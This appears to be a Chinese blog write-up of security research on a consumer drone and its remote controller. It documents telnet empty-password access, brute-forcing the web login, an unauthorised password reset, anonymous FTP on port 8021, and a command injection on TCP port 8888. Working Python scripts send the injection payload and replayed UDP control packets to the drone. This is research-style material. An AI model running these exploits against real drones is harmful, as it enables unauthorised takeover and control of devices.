无人机漏洞挖掘学习

跟着大佬学习下漏洞挖掘。

已知无人机开机时会开启一个热点,将电脑连上这个热点,此时就与无人机在同一个局域网内。得到该局域网的IP后,通过nmap分别查看无人机和遥控器开启了哪些端口。

无人机开启了ftp和telnet服务,而遥控器开启了telnet和http服务。

1. telnet空口令漏洞

尝试使用telnet远程登录无人机和遥控器的内部系统。无人机系统存在空口令,所以一下子就可以拿到最高权限了。遥控器使用root用户登录,也可拿到最高权限。

2. 遥控器 Web管理服务弱口令

遥控器开放了http服务,用浏览器访问遥控器IP地址(电脑与遥控器处在同一局域网内),出现了一个路由器登录页面,需要登录密码。尝试使用BurpSuite抓包对密码进行暴力破解。

拿出收藏多年的暴破字典,发现口令为“12345678”的报文长度与众不同,尝试使用该口令进行登录,成功登入。

3. 遥控器 Web管理服务未授权重置密码漏洞

登入路由器管理页面后,尝试在系统设置中修改管理密码,抓包发现重置后的新密码。

这时我们可以直接修改抓包中的密码,并且密码长度、字符不受限制。

使用修改的密码进行登录成功登入。

4. 遥控器 Web管理服务危险接口暴露

在抓包过程中,发现它的路径都有那么点意思。在goform目录下有fromRootLogin(root登录)、set_manpwd(重置密码)等,或许可以找到其它有用的路径。一种方法是暴破,但这几率很低;另一种是分析遥控器内部的程序。

进入遥控器终端的/bin目录,它主要是放置系统的必备执行文件。发现里面有boa程序,它是一个开源的Web服务器。在/bin目录下也发现了tftp程序,是一个简单文件传输工具,可以用它将boa程序上传到电脑,以便分析。在使用tftp前,需要在电脑安装tftp服务器。具体可看:https://blog.csdn.net/m0_45463480/article/details/124550320

1
tftp 172.16.10.20 -pr boa

将它拿去IDA逆向分析,顺着main()函数一个个看下去会发现很多有关Web网页之类的路径。

尝试在浏览器中输入某条路径,验证是否可行。

1
172.16.10.10/goform/get_wifi_info
1
172.16.10.10/goform/get_manpwd_info

5. 无人机 TCP 8021端口 FTP服务未授权访问漏洞

无人机开放了ftp服务,可以通过ftp传输文件。先去/bin目录下看有哪些命令可以被执行。

有netstat,可以查看无人机开放了哪些端口。

有ftpget和ftpput,可以用来传输文件,ftp需要用户名和密码,否则会登录失败。

1
2
3
4
5
下载
ftpget -u zyx -p 123456 192.168.1.156 hello

上传
ftpput -u zyx -p 123456 192.168.1.156 hello
1
2
fh-linux# ftpput 172.16.10.21 vs_play 
ftpput: unexpected server response to PASS: 530 Login incorrect.

ftp的用户名和密码可以通过Wireshark抓包来获取。

查看App中哪里用到了ftp服务:

发现无人机的IP与端口8021,结合代码分析,这个端口很有可能是专门用来传输照片和视频的,使用ftp传输。

在文件夹路径中输入:ftp://172.16.10.1:8021,无需用户密码即可登入无人机系统的某层目录(/sdcard)。上面的“picture”和“video”指的应该就是存放照片或视频的目录。

6. 无人机 TCP 8888端口 命令注入漏洞

通过抓包可知无人机端口8888用于与App和遥控器进行TCP通信,8080进行UDP通信。在无人机终端中,哪个才是无人机的主要运行程序呢?

查看终端目录,在千篇一律的Linux目录下发现一个特殊的目录:app。

里面有非常多的配置文件和HEX文件,除此之外,还有一些可执行文件,哪个是我们想要的无人机可执行程序呢?按理说,肯定是最大的那个,要不然也装不下那么多功能。所以vs_play就很可疑。

由于使用ftp是不可行了,但它还有个tftp工具可用,同4操作即可。

载入IDA,查看有哪些导入函数可以利用,可以看到调用了一个危险函数system(),如果能成功利用的话就可以入侵无人机终端。

目前来说只能利用收发UDP/TCP包来修改数据,在众多调用system()函数当中,如果刚好有利用到UDP/TCP包中数据的内容,或许就可以构造POC来入侵系统。

发现这里的system()函数传入的是可变参数,参数是从&v101[v12]内存块中复制过来的最多29个字节。

继续往上看,分析分析:

所以就可以构造发包,间接对终端执行命令。

1
2
3
4
5
6
7
8
9
10
import socket

payload = b'da;'
cmd = b'echo 123 > /tmp/1.txt;'
payload += cmd

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('172.16.10.1',8888))
s.send(payload)
s.close()

7. 无人机 TCP 8888端口 / UDP 8080端口 重放漏洞

7.1 TCP 8888端口 重放漏洞

SJ F PRO v2.4.5无人机App分析 6.1.2 云台角度调节

7.2 UDP 8080端口 重放漏洞

与7.1同样方法,也是可以找到一个云台角度调节的包。

1
2
3
4
5
6
7
8
9
10
import socket
from binascii import hexlify, unhexlify

payload = "ff535410" + "80" + "8a" # 云台水平和垂直角度
payload = unhexlify(payload)

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('172.16.10.1', 8080))
s.send(payload)
s.close()